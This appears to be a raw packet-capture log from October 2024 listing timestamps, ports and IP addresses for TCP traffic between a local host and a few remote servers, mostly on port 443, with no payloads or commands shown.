Oct 7, 2024 21:18:38.253695965 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.253745079 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.253771067 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.253809929 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.253859997 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.254106045 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.254106045 CEST	49847	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.254122972 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.254128933 CEST	443	49847	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.257684946 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.257728100 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.257827044 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.257947922 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.257960081 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.266457081 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.266921043 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.266933918 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.267224073 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.267229080 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.281871080 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.282481909 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.282512903 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.282730103 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.282736063 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.355134010 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.355246067 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.355339050 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.355526924 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.355544090 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.355571032 CEST	49848	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.355576992 CEST	443	49848	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.356168985 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.356264114 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.356405020 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.356532097 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.356532097 CEST	49849	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.356547117 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.356554985 CEST	443	49849	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.359355927 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.359355927 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.359400988 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.359415054 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.359533072 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.359533072 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.360321999 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.360321999 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.360340118 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.360352039 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.425584078 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.425672054 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.426239014 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.426563978 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.426575899 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.426683903 CEST	49850	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.426690102 CEST	443	49850	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.430177927 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.430217981 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.430354118 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.430727959 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.430741072 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.452280998 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.452306986 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.452353001 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.452383041 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.452560902 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.452560902 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.452881098 CEST	49851	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.452891111 CEST	443	49851	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.457166910 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.457186937 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.459006071 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.459006071 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.459027052 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.905720949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:38.905807018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:38.948331118 CEST	443	49733	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:38.948586941 CEST	49733	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:38.957247019 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.959875107 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.959902048 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.960793972 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.960803032 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.988262892 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.988358974 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.990642071 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.990642071 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.990664005 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.990681887 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.992968082 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.992968082 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:38.992986917 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:38.992994070 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.059453011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:39.064393044 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:39.084126949 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.084788084 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.084919930 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.084944963 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.085120916 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.085205078 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.085213900 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.085222960 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.085273981 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.085274935 CEST	49852	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.085289001 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.085302114 CEST	443	49852	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.087908983 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.087949038 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.088094950 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.088300943 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.088318110 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.095410109 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.095932007 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.095961094 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.096447945 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.096455097 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.097522020 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.098535061 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.099409103 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.099409103 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.099409103 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.101510048 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.101552963 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.103624105 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.103890896 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.103907108 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.121576071 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.121607065 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.121650934 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.121685982 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.121809959 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.122874975 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.122874975 CEST	49853	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.122908115 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.122920990 CEST	443	49853	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.124466896 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.124495983 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.125045061 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.125140905 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.125153065 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.190257072 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.190749884 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.190813065 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.190917015 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.190917969 CEST	49856	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.190927982 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.190937042 CEST	443	49856	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.193902969 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.193944931 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.194029093 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.194597006 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.194607973 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.209521055 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.209927082 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.209969997 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.209994078 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.211481094 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.211481094 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.211571932 CEST	49855	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.211579084 CEST	443	49855	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.213718891 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.213758945 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.215418100 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.215418100 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.215468884 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.410852909 CEST	49854	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.410900116 CEST	443	49854	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.756464958 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.756886005 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.756908894 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.757412910 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.757417917 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.764753103 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.765181065 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.765198946 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.765636921 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.765647888 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.820475101 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:39.820537090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:39.836884022 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.839380026 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.839400053 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.840769053 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.840774059 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.874537945 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.874599934 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.874665976 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.874697924 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.874752045 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.875014067 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.875014067 CEST	49857	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.875061035 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.875103951 CEST	443	49857	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.878506899 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.878540993 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.878742933 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.878983021 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.879002094 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.885366917 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.885889053 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.885940075 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.886017084 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.886032104 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.886059999 CEST	49858	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.886074066 CEST	443	49858	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.888307095 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.888331890 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.888391018 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.888506889 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.888520002 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.932631969 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.937374115 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.937392950 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.938803911 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.938817024 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.939750910 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.943509102 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.943521023 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.943804026 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.943808079 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.945934057 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.945965052 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.946011066 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.946021080 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.946060896 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.946638107 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.946646929 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.946670055 CEST	49859	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.946675062 CEST	443	49859	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.961576939 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.961616993 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:39.963917017 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.964111090 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:39.964126110 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.010143042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:40.015012026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:40.051213980 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.051264048 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.051985025 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.052337885 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.052337885 CEST	49861	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.052361965 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.052370071 CEST	443	49861	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.056379080 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.056441069 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.056512117 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.056658983 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.056689024 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.060710907 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.060761929 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.061248064 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.061357975 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.061372995 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.061386108 CEST	49860	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.061392069 CEST	443	49860	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.064307928 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.064331055 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.064717054 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.065155983 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.065180063 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.511409998 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.512048960 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.512075901 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.512432098 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.512439013 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.525361061 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.528510094 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.528532028 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.529227018 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.529232979 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.594547033 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.596352100 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.596385956 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.598995924 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.599015951 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.615839958 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.616219997 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.616272926 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.616281986 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.616336107 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.616408110 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.616408110 CEST	49863	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.616430044 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.616451979 CEST	443	49863	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.621382952 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.621443987 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.621561050 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.621710062 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.621723890 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.648507118 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.648679972 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.648749113 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.649522066 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.649522066 CEST	49862	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.649544001 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.649559975 CEST	443	49862	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.652978897 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.653019905 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.653176069 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.653310061 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.653322935 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.687186003 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.687614918 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.687670946 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.687868118 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.688154936 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.688169956 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.688446045 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.688462973 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.688889027 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.688903093 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.737965107 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.738883018 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.739046097 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.739105940 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.739126921 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.739140034 CEST	49864	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.739145994 CEST	443	49864	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.741725922 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.741760015 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.741818905 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.741972923 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.741983891 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793066978 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793226004 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793271065 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793343067 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793343067 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.793462992 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.793509960 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.793548107 CEST	443	49865	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793576956 CEST	49865	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.793591976 CEST	443	49865	13.107.253.45	192.168.2.5
